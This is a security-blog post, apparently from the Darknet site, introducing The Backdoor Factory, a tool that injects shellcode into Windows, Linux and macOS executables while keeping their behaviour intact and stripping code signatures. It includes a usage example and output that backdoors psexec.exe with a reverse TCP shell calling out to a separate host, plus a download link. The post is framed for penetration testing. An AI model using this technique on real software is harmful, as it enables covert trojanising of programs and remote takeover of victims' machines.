• Skip to main content
  • Skip to primary sidebar
  • Skip to footer
  • Home
  • About Darknet
  • Hacking Tools
  • Popular Posts
  • Darknet Archives
  • Contact Darknet
    • Advertise
    • Submit a Tool
Darknet – Hacking Tools, Hacker News & Cyber Security

Darknet - Hacking Tools, Hacker News & Cyber Security

Darknet is your best source for the latest hacking tools, hacker news, cyber security best practices, ethical hacking & pen-testing.

The Backdoor Factory (BDF) – Patch Binaries With Shellcode

May 16, 2016

Views: 8,536

The Backdoor Factory or BDF is a tool which enables you to patch binaries with shellcode and continue normal execution exactly as the executable binary would have in its’ pre-patched state.

The Backdoor Factory (BDF) - Patch Binaries With Shellcode

Some executables have built in protection, as such this tool will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises.

There’s a couple of somewhat related tools you can also check out:

– peinjector – MITM PE File Injector
– PEiD – Detect PE Packers, Cryptors & Compilers

Features of Backdoor Factory

Overall BDF Features

The user can:

  • Provide custom shellcode.
  • Patch a directory of executables/dlls.
  • Select x32 or x64 binaries to patch only.
  • Include BDF is other python projects see pebin.py and elfbin.py

PE File Related Backdoor-Factory Features

  • Can find all codecaves in an EXE/DLL.
  • By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
  • Can inject shellcode into code caves or into a new section.
  • Can find if a PE binary needs to run with elevated privileges.
  • When selecting code caves, you can use the following commands:
    • Jump (j), for code cave jumping
    • Single (s), for patching all your shellcode into one cave
    • Append (a), for creating a code cave
    • Ignore (i or q), nevermind, ignore this binary
  • Can ignore DLLs
  • Import Table Patching
  • AutoPatching (-m automtic)
  • Onionduke (-m onionduke)

ELF Files Backdoor Feature

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

Mach-O Files

Pre-Text Section patching and signature removal

The Backdoor Factory Usage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

You can download Backdoor Factory here:

the-backdoor-factory-3.4.2.zip

Or read more here.

Share
Tweet11
Share102
Buffer
WhatsApp
Email
113 Shares

Filed Under: Hacking Tools Tagged With: shellcode



Primary Sidebar

Search Darknet

  • Email
  • Facebook
  • LinkedIn
  • RSS
  • Twitter

Advertise on Darknet

Latest Posts

SUDO_KILLER - Auditing Sudo Configurations for Privilege Escalation Paths

SUDO_KILLER – Auditing Sudo Configurations for Privilege Escalation Paths

Views: 50

sudo is a powerful utility in Unix-like systems that allows permitted users to execute commands with … ...More about SUDO_KILLER – Auditing Sudo Configurations for Privilege Escalation Paths

Bantam - Advanced PHP Backdoor Management Tool For Post Exploitation

Bantam – Advanced PHP Backdoor Management Tool For Post Exploitation

Views: 311

Bantam is a lightweight post-exploitation utility written in C# that includes advanced payload … ...More about Bantam – Advanced PHP Backdoor Management Tool For Post Exploitation

AI-Powered Cybercrime in 2025 - The Dark Web’s New Arms Race

AI-Powered Cybercrime in 2025 – The Dark Web’s New Arms Race

Views: 510

In 2025, the dark web isn't just a marketplace for illicit goods—it's a development lab. … ...More about AI-Powered Cybercrime in 2025 – The Dark Web’s New Arms Race

Upload_Bypass - Bypass Upload Restrictions During Penetration Testing

Upload_Bypass – Bypass Upload Restrictions During Penetration Testing

Views: 501

Upload_Bypass is a command-line tool that automates discovering and exploiting weak file upload … ...More about Upload_Bypass – Bypass Upload Restrictions During Penetration Testing

Shell3r - Powerful Shellcode Obfuscator for Offensive Security

Shell3r – Powerful Shellcode Obfuscator for Offensive Security

Views: 693

If antivirus and EDR vendors are getting smarter, so are the tools that red teamers and penetration … ...More about Shell3r – Powerful Shellcode Obfuscator for Offensive Security

Understanding the Deep Web, Dark Web, and Darknet (2025 Guide)

Understanding the Deep Web, Dark Web, and Darknet (2025 Guide)

Views: 8,637

Introduction: How Much of the Internet Can You See? You're only scratching the surface when you … ...More about Understanding the Deep Web, Dark Web, and Darknet (2025 Guide)

Topics

  • Advertorial (28)
  • Apple (46)
  • Countermeasures (227)
  • Cryptography (82)
  • Database Hacking (89)
  • Events/Cons (7)
  • Exploits/Vulnerabilities (431)
  • Forensics (65)
  • GenAI (3)
  • Hacker Culture (8)
  • Hacking News (229)
  • Hacking Tools (684)
  • Hardware Hacking (82)
  • Legal Issues (179)
  • Linux Hacking (74)
  • Malware (238)
  • Networking Hacking Tools (352)
  • Password Cracking Tools (104)
  • Phishing (41)
  • Privacy (219)
  • Secure Coding (118)
  • Security Software (233)
  • Site News (51)
    • Authors (6)
  • Social Engineering (37)
  • Spammers & Scammers (76)
  • Stupid E-mails (6)
  • Telecomms Hacking (6)
  • UNIX Hacking (6)
  • Virology (6)
  • Web Hacking (384)
  • Windows Hacking (169)
  • Wireless Hacking (45)

Security Blogs

  • Dancho Danchev
  • F-Secure Weblog
  • Google Online Security
  • Graham Cluley
  • Internet Storm Center
  • Krebs on Security
  • Schneier on Security
  • TaoSecurity
  • Troy Hunt

Security Links

  • Exploits Database
  • Linux Security
  • Register – Security
  • SANS
  • Sec Lists
  • US CERT

Footer

Most Viewed Posts

  • Brutus Password Cracker – Download brutus-aet2.zip AET2 (2,291,872)
  • Darknet – Hacking Tools, Hacker News & Cyber Security (2,173,071)
  • Top 15 Security Utilities & Download Hacking Tools (2,096,614)
  • 10 Best Security Live CD Distros (Pen-Test, Forensics & Recovery) (1,199,675)
  • Password List Download Best Word List – Most Common Passwords (933,464)
  • wwwhack 1.9 – wwwhack19.zip Web Hacking Software Free Download (776,130)
  • Hack Tools/Exploits (673,287)
  • Wep0ff – Wireless WEP Key Cracker Tool (530,143)

Search

Recent Posts

  • SUDO_KILLER – Auditing Sudo Configurations for Privilege Escalation Paths May 12, 2025
  • Bantam – Advanced PHP Backdoor Management Tool For Post Exploitation May 9, 2025
  • AI-Powered Cybercrime in 2025 – The Dark Web’s New Arms Race May 7, 2025
  • Upload_Bypass – Bypass Upload Restrictions During Penetration Testing May 5, 2025
  • Shell3r – Powerful Shellcode Obfuscator for Offensive Security May 2, 2025
  • Understanding the Deep Web, Dark Web, and Darknet (2025 Guide) April 30, 2025

Tags

apple botnets computer-security darknet Database Hacking ddos dos exploits fuzzing google hacking-networks hacking-websites hacking-windows hacking tool Information-Security information gathering Legal Issues malware microsoft network-security Network Hacking Password Cracking pen-testing penetration-testing Phishing Privacy Python scammers Security Security Software spam spammers sql-injection trojan trojans virus viruses vulnerabilities web-application-security web-security windows windows-security Windows Hacking worms XSS

Copyright © 1999–2025 Darknet All Rights Reserved · Privacy Policy